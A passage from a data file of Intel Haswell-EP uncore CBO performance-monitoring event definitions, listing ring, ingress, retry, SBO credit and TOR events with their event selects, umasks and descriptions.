"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "BL Ring in Use",
"EvSel": 29,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "b00001111",
},
"CBO.RING_BL_USED.UP": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "BL Ring in Use",
"EvSel": 29,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "b00000011",
},
"CBO.RING_BL_USED.UP_EVEN": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "BL Ring in Use",
"EvSel": 29,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxxxxx1",
},
"CBO.RING_BOUNCES": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Desc": "Number of LLC responses that bounced on the Ring.",
"EvSel": 5,
"ExtSel": "",
},
"CBO.RING_BOUNCES.AK": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Desc": "Number of LLC responses that bounced on the Ring.",
"EvSel": 5,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"CBO.RING_BOUNCES.BL": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Desc": "Number of LLC responses that bounced on the Ring.",
"EvSel": 5,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"CBO.RING_BOUNCES.IV": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Desc": "Number of LLC responses that bounced on the Ring.",
"EvSel": 5,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"CBO.RING_BOUNCES.AD": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Desc": "Number of LLC responses that bounced on the Ring.",
"EvSel": 5,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"CBO.RING_IV_USED": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the IV ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop. There is only 1 IV ring in HSX Therefore, if one wants to monitor the \"Even\" ring, they should select both UP_EVEN and DN_EVEN. To monitor the \"Odd\" ring, they should select both UP_ODD and DN_ODD.",
"Desc": "BL Ring in Use",
"EvSel": 30,
"ExtSel": "",
"Notes": "IV messages are split into two parts. In any cycle, a ring stop can see up to one (half-)packet moving in the UP direction and one (half-)packet moving in the DN direction.",
},
"CBO.RING_IV_USED.DN": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the IV ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop. There is only 1 IV ring in HSX Therefore, if one wants to monitor the \"Even\" ring, they should select both UP_EVEN and DN_EVEN. To monitor the \"Odd\" ring, they should select both UP_ODD and DN_ODD.",
"Desc": "BL Ring in Use",
"EvSel": 30,
"ExtSel": "",
"Notes": "IV messages are split into two parts. In any cycle, a ring stop can see up to one (half-)packet moving in the UP direction and one (half-)packet moving in the DN direction.",
"Umask": "b00001100",
},
"CBO.RING_IV_USED.ANY": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the IV ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop. There is only 1 IV ring in HSX Therefore, if one wants to monitor the \"Even\" ring, they should select both UP_EVEN and DN_EVEN. To monitor the \"Odd\" ring, they should select both UP_ODD and DN_ODD.",
"Desc": "BL Ring in Use",
"EvSel": 30,
"ExtSel": "",
"Notes": "IV messages are split into two parts. In any cycle, a ring stop can see up to one (half-)packet moving in the UP direction and one (half-)packet moving in the DN direction.",
"Umask": "b00001111",
},
"CBO.RING_IV_USED.UP": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the IV ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop. There is only 1 IV ring in HSX Therefore, if one wants to monitor the \"Even\" ring, they should select both UP_EVEN and DN_EVEN. To monitor the \"Odd\" ring, they should select both UP_ODD and DN_ODD.",
"Desc": "BL Ring in Use",
"EvSel": 30,
"ExtSel": "",
"Notes": "IV messages are split into two parts. In any cycle, a ring stop can see up to one (half-)packet moving in the UP direction and one (half-)packet moving in the DN direction.",
"Umask": "b00000011",
},
"CBO.RING_IV_USED.DOWN": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the IV ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop. There is only 1 IV ring in HSX Therefore, if one wants to monitor the \"Even\" ring, they should select both UP_EVEN and DN_EVEN. To monitor the \"Odd\" ring, they should select both UP_ODD and DN_ODD.",
"Desc": "BL Ring in Use",
"EvSel": 30,
"ExtSel": "",
"Notes": "IV messages are split into two parts. In any cycle, a ring stop can see up to one (half-)packet moving in the UP direction and one (half-)packet moving in the DN direction.",
"Umask": "b11001100",
},
"CBO.RING_SRC_THRTL": {
"Box": "CBO",
"Category": "CBO RING Events",
"Counters": "0-3",
"Desc": "Number of cycles the Cbo is actively throttling traffic onto the Ring in order to limit bounce traffic.",
"EvSel": 7,
"ExtSel": "",
},
"CBO.RxR_EXT_STARVED": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Counters": "0-3",
"Defn": "Counts cycles in external starvation. This occurs when one of the ingress queues is being starved by the other queues.",
"Desc": "Ingress Arbiter Blocking Cycles",
"EvSel": 18,
"ExtSel": "",
},
"CBO.RxR_EXT_STARVED.IRQ": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Counters": "0-3",
"Defn": "Counts cycles in external starvation. This occurs when one of the ingress queues is being starved by the other queues.",
"Desc": "Ingress Arbiter Blocking Cycles",
"EvSel": 18,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"CBO.RxR_EXT_STARVED.PRQ": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Counters": "0-3",
"Defn": "Counts cycles in external starvation. This occurs when one of the ingress queues is being starved by the other queues.",
"Desc": "Ingress Arbiter Blocking Cycles",
"EvSel": 18,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"CBO.RxR_EXT_STARVED.IPQ": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Counters": "0-3",
"Defn": "Counts cycles in external starvation. This occurs when one of the ingress queues is being starved by the other queues.",
"Desc": "Ingress Arbiter Blocking Cycles",
"EvSel": 18,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"CBO.RxR_EXT_STARVED.ISMQ_BIDS": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Counters": "0-3",
"Defn": "Counts cycles in external starvation. This occurs when one of the ingress queues is being starved by the other queues.",
"Desc": "Ingress Arbiter Blocking Cycles",
"EvSel": 18,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"CBO.RxR_INSERTS": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Counters": "0-3",
"Defn": "Counts number of allocations per cycle into the specified Ingress queue.",
"Desc": "Ingress Allocations",
"EvSel": 19,
"ExtSel": "",
"Notes": "IRQ_REJECTED should not be Ored with the other umasks.",
},
"CBO.RxR_INSERTS.IPQ": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Counters": "0-3",
"Defn": "Counts number of allocations per cycle into the specified Ingress queue.",
"Desc": "Ingress Allocations",
"EvSel": 19,
"ExtSel": "",
"Notes": "IRQ_REJECTED should not be Ored with the other umasks.",
"Umask": "bxxxxx1xx",
},
"CBO.RxR_INSERTS.IRQ": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Counters": "0-3",
"Defn": "Counts number of allocations per cycle into the specified Ingress queue.",
"Desc": "Ingress Allocations",
"EvSel": 19,
"ExtSel": "",
"Notes": "IRQ_REJECTED should not be Ored with the other umasks.",
"Umask": "bxxxxxxx1",
},
"CBO.RxR_INSERTS.PRQ": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Counters": "0-3",
"Defn": "Counts number of allocations per cycle into the specified Ingress queue.",
"Desc": "Ingress Allocations",
"EvSel": 19,
"ExtSel": "",
"Notes": "IRQ_REJECTED should not be Ored with the other umasks.",
"Umask": "bxxx1xxxx",
},
"CBO.RxR_INSERTS.IRQ_REJ": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Counters": "0-3",
"Defn": "Counts number of allocations per cycle into the specified Ingress queue.",
"Desc": "Ingress Allocations",
"EvSel": 19,
"ExtSel": "",
"Notes": "IRQ_REJECTED should not be Ored with the other umasks.",
"Umask": "bxxxxxx1x",
},
"CBO.RxR_INSERTS.PRQ_REJ": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Counters": "0-3",
"Defn": "Counts number of allocations per cycle into the specified Ingress queue.",
"Desc": "Ingress Allocations",
"EvSel": 19,
"ExtSel": "",
"Notes": "IRQ_REJECTED should not be Ored with the other umasks.",
"Umask": "bxx1xxxxx",
},
"CBO.RxR_IPQ_RETRY": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Defn": "Number of times a snoop (probe) request had to retry. Filters exist to cover some of the common cases retries.",
"Desc": "Probe Queue Retries",
"EvSel": 49,
"ExtSel": "",
},
"CBO.RxR_IPQ_RETRY.ADDR_CONFLICT": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Defn": "Number of times a snoop (probe) request had to retry. Filters exist to cover some of the common cases retries.",
"Desc": "Probe Queue Retries",
"EvSel": 49,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"CBO.RxR_IPQ_RETRY.ANY": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Defn": "Number of times a snoop (probe) request had to retry. Filters exist to cover some of the common cases retries.",
"Desc": "Probe Queue Retries",
"EvSel": 49,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"CBO.RxR_IPQ_RETRY.FULL": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Defn": "Number of times a snoop (probe) request had to retry. Filters exist to cover some of the common cases retries.",
"Desc": "Probe Queue Retries",
"EvSel": 49,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"CBO.RxR_IPQ_RETRY.QPI_CREDITS": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Defn": "Number of times a snoop (probe) request had to retry. Filters exist to cover some of the common cases retries.",
"Desc": "Probe Queue Retries",
"EvSel": 49,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"CBO.RxR_IPQ_RETRY2": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Defn": "Number of times a snoop (probe) request had to retry. Filters exist to cover some of the common cases retries.",
"Desc": "Probe Queue Retries",
"EvSel": 40,
"ExtSel": "",
},
"CBO.RxR_IPQ_RETRY2.TARGET": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Defn": "Number of times a snoop (probe) request had to retry. Filters exist to cover some of the common cases retries.",
"Desc": "Probe Queue Retries",
"EvSel": 40,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"CBO.RxR_IPQ_RETRY2.AD_SBO": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Defn": "Number of times a snoop (probe) request had to retry. Filters exist to cover some of the common cases retries.",
"Desc": "Probe Queue Retries",
"EvSel": 40,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"CBO.RxR_IRQ_RETRY": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Desc": "Ingress Request Queue Rejects",
"EvSel": 50,
"ExtSel": "",
},
"CBO.RxR_IRQ_RETRY.QPI_CREDITS": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Desc": "Ingress Request Queue Rejects",
"EvSel": 50,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"CBO.RxR_IRQ_RETRY.IIO_CREDITS": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Desc": "Ingress Request Queue Rejects",
"EvSel": 50,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"CBO.RxR_IRQ_RETRY.NID": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Desc": "Ingress Request Queue Rejects",
"EvSel": 50,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"CBO.RxR_IRQ_RETRY.ADDR_CONFLICT": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Desc": "Ingress Request Queue Rejects",
"EvSel": 50,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"CBO.RxR_IRQ_RETRY.RTID": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Desc": "Ingress Request Queue Rejects",
"EvSel": 50,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"CBO.RxR_IRQ_RETRY.ANY": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Desc": "Ingress Request Queue Rejects",
"EvSel": 50,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"CBO.RxR_IRQ_RETRY.FULL": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Desc": "Ingress Request Queue Rejects",
"EvSel": 50,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"CBO.RxR_IRQ_RETRY2": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Desc": "Ingress Request Queue Rejects",
"EvSel": 41,
"ExtSel": "",
},
"CBO.RxR_IRQ_RETRY2.TARGET": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Desc": "Ingress Request Queue Rejects",
"EvSel": 41,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"CBO.RxR_IRQ_RETRY2.AD_SBO": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Desc": "Ingress Request Queue Rejects",
"EvSel": 41,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"CBO.RxR_IRQ_RETRY2.BL_SBO": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Desc": "Ingress Request Queue Rejects",
"EvSel": 41,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"CBO.RxR_ISMQ_RETRY": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Defn": "Number of times a transaction flowing through the ISMQ had to retry. Transaction pass through the ISMQ as responses for requests that already exist in the Cbo. Some examples include: when data is returned or when snoop responses come back from the cores.",
"Desc": "ISMQ Retries",
"EvSel": 51,
"ExtSel": "",
},
"CBO.RxR_ISMQ_RETRY.NID": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Defn": "Number of times a transaction flowing through the ISMQ had to retry. Transaction pass through the ISMQ as responses for requests that already exist in the Cbo. Some examples include: when data is returned or when snoop responses come back from the cores.",
"Desc": "ISMQ Retries",
"EvSel": 51,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"CBO.RxR_ISMQ_RETRY.WB_CREDITS": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Defn": "Number of times a transaction flowing through the ISMQ had to retry. Transaction pass through the ISMQ as responses for requests that already exist in the Cbo. Some examples include: when data is returned or when snoop responses come back from the cores.",
"Desc": "ISMQ Retries",
"EvSel": 51,
"ExtSel": "",
"Umask": "b1xxxxxxx",
},
"CBO.RxR_ISMQ_RETRY.IIO_CREDITS": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Defn": "Number of times a transaction flowing through the ISMQ had to retry. Transaction pass through the ISMQ as responses for requests that already exist in the Cbo. Some examples include: when data is returned or when snoop responses come back from the cores.",
"Desc": "ISMQ Retries",
"EvSel": 51,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"CBO.RxR_ISMQ_RETRY.QPI_CREDITS": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Defn": "Number of times a transaction flowing through the ISMQ had to retry. Transaction pass through the ISMQ as responses for requests that already exist in the Cbo. Some examples include: when data is returned or when snoop responses come back from the cores.",
"Desc": "ISMQ Retries",
"EvSel": 51,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"CBO.RxR_ISMQ_RETRY.FULL": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Defn": "Number of times a transaction flowing through the ISMQ had to retry. Transaction pass through the ISMQ as responses for requests that already exist in the Cbo. Some examples include: when data is returned or when snoop responses come back from the cores.",
"Desc": "ISMQ Retries",
"EvSel": 51,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"CBO.RxR_ISMQ_RETRY.ANY": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Defn": "Number of times a transaction flowing through the ISMQ had to retry. Transaction pass through the ISMQ as responses for requests that already exist in the Cbo. Some examples include: when data is returned or when snoop responses come back from the cores.",
"Desc": "ISMQ Retries",
"EvSel": 51,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"CBO.RxR_ISMQ_RETRY.RTID": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Defn": "Number of times a transaction flowing through the ISMQ had to retry. Transaction pass through the ISMQ as responses for requests that already exist in the Cbo. Some examples include: when data is returned or when snoop responses come back from the cores.",
"Desc": "ISMQ Retries",
"EvSel": 51,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"CBO.RxR_ISMQ_RETRY2": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Desc": "ISMQ Request Queue Rejects",
"EvSel": 42,
"ExtSel": "",
},
"CBO.RxR_ISMQ_RETRY2.BL_SBO": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Desc": "ISMQ Request Queue Rejects",
"EvSel": 42,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"CBO.RxR_ISMQ_RETRY2.AD_SBO": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Desc": "ISMQ Request Queue Rejects",
"EvSel": 42,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"CBO.RxR_ISMQ_RETRY2.TARGET": {
"Box": "CBO",
"Category": "CBO INGRESS_RETRY Events",
"Counters": "0-3",
"Desc": "ISMQ Request Queue Rejects",
"EvSel": 42,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"CBO.RxR_OCCUPANCY": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Counters": 0,
"Defn": "Counts number of entries in the specified Ingress queue in each cycle.",
"Desc": "Ingress Occupancy",
"EvSel": 17,
"ExtSel": "",
"MaxIncCyc": 20,
"Notes": "IRQ_REJECTED should not be Ored with the other umasks.",
"SubCtr": 1,
},
"CBO.RxR_OCCUPANCY.IRQ_REJ": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Counters": 0,
"Defn": "Counts number of entries in the specified Ingress queue in each cycle.",
"Desc": "Ingress Occupancy",
"EvSel": 17,
"ExtSel": "",
"MaxIncCyc": 20,
"Notes": "IRQ_REJECTED should not be Ored with the other umasks.",
"SubCtr": 1,
"Umask": "b00000010",
},
"CBO.RxR_OCCUPANCY.PRQ_REJ": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Counters": 0,
"Defn": "Counts number of entries in the specified Ingress queue in each cycle.",
"Desc": "Ingress Occupancy",
"EvSel": 17,
"ExtSel": "",
"MaxIncCyc": 20,
"Notes": "IRQ_REJECTED should not be Ored with the other umasks.",
"SubCtr": 1,
"Umask": "b00100000",
},
"CBO.RxR_OCCUPANCY.IRQ": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Counters": 0,
"Defn": "Counts number of entries in the specified Ingress queue in each cycle.",
"Desc": "Ingress Occupancy",
"EvSel": 17,
"ExtSel": "",
"MaxIncCyc": 20,
"Notes": "IRQ_REJECTED should not be Ored with the other umasks.",
"SubCtr": 1,
"Umask": "b00000001",
},
"CBO.RxR_OCCUPANCY.IPQ": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Counters": 0,
"Defn": "Counts number of entries in the specified Ingress queue in each cycle.",
"Desc": "Ingress Occupancy",
"EvSel": 17,
"ExtSel": "",
"MaxIncCyc": 20,
"Notes": "IRQ_REJECTED should not be Ored with the other umasks.",
"SubCtr": 1,
"Umask": "b00000100",
},
"CBO.SBO_CREDITS_ACQUIRED": {
"Box": "CBO",
"Category": "CBO SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of Sbo credits acquired in a given cycle, per ring. Each Cbo is assigned an Sbo it can communicate with.",
"Desc": "SBo Credits Acquired",
"EvSel": 61,
"ExtSel": "",
},
"CBO.SBO_CREDITS_ACQUIRED.AD": {
"Box": "CBO",
"Category": "CBO SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of Sbo credits acquired in a given cycle, per ring. Each Cbo is assigned an Sbo it can communicate with.",
"Desc": "SBo Credits Acquired",
"EvSel": 61,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"CBO.SBO_CREDITS_ACQUIRED.BL": {
"Box": "CBO",
"Category": "CBO SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of Sbo credits acquired in a given cycle, per ring. Each Cbo is assigned an Sbo it can communicate with.",
"Desc": "SBo Credits Acquired",
"EvSel": 61,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"CBO.SBO_CREDIT_OCCUPANCY": {
"Box": "CBO",
"Category": "CBO SBO Credit Events",
"Counters": 0,
"Defn": "Number of Sbo credits in use in a given cycle, per ring. Each Cbo is assigned an Sbo it can communicate with.",
"Desc": "SBo Credits Occupancy",
"EvSel": 62,
"ExtSel": "",
"MaxIncCyc": 7,
"Notes": "Each Cbo has 3 AD and 2 BL credits into its assigned Sbo.",
"SubCtr": 1,
},
"CBO.SBO_CREDIT_OCCUPANCY.AD": {
"Box": "CBO",
"Category": "CBO SBO Credit Events",
"Counters": 0,
"Defn": "Number of Sbo credits in use in a given cycle, per ring. Each Cbo is assigned an Sbo it can communicate with.",
"Desc": "SBo Credits Occupancy",
"EvSel": 62,
"ExtSel": "",
"MaxIncCyc": 7,
"Notes": "Each Cbo has 3 AD and 2 BL credits into its assigned Sbo.",
"SubCtr": 1,
"Umask": "bxxxxxxx1",
},
"CBO.SBO_CREDIT_OCCUPANCY.BL": {
"Box": "CBO",
"Category": "CBO SBO Credit Events",
"Counters": 0,
"Defn": "Number of Sbo credits in use in a given cycle, per ring. Each Cbo is assigned an Sbo it can communicate with.",
"Desc": "SBo Credits Occupancy",
"EvSel": 62,
"ExtSel": "",
"MaxIncCyc": 7,
"Notes": "Each Cbo has 3 AD and 2 BL credits into its assigned Sbo.",
"SubCtr": 1,
"Umask": "bxxxxxx1x",
},
"CBO.TOR_INSERTS": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
},
"CBO.TOR_INSERTS.REMOTE_OPCODE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b10000001",
},
"CBO.TOR_INSERTS.OPCODE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b00000001",
},
"CBO.TOR_INSERTS.NID_MISS_ALL": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b01001010",
},
"CBO.TOR_INSERTS.NID_OPCODE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b01000001",
},
"CBO.TOR_INSERTS.MISS_LOCAL": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b00101010",
},
"CBO.TOR_INSERTS.NID_WB": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
"Defn": "Counts the number of entries successfuly inserted into the TOR that match qualifications specified by the subevent. There are a number of subevent 'filters' but only a subset of the subevent combinations are valid. Subevents that require an opcode or NID match require the Cn_MSR_PMON_BOX_FILTER.{opc, nid} field to be set. If, for example, one wanted to count DRD Local Misses, one should select \"MISS_OPC_MATCH\" and set Cn_MSR_PMON_BOX_FILTER.opc to DRD (0x182).",
"Desc": "TOR Inserts",
"EvSel": 53,
"ExtSel": "",
"Umask": "b01010000",
},
"CBO.TOR_INSERTS.ALL": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Counters": "0-3",
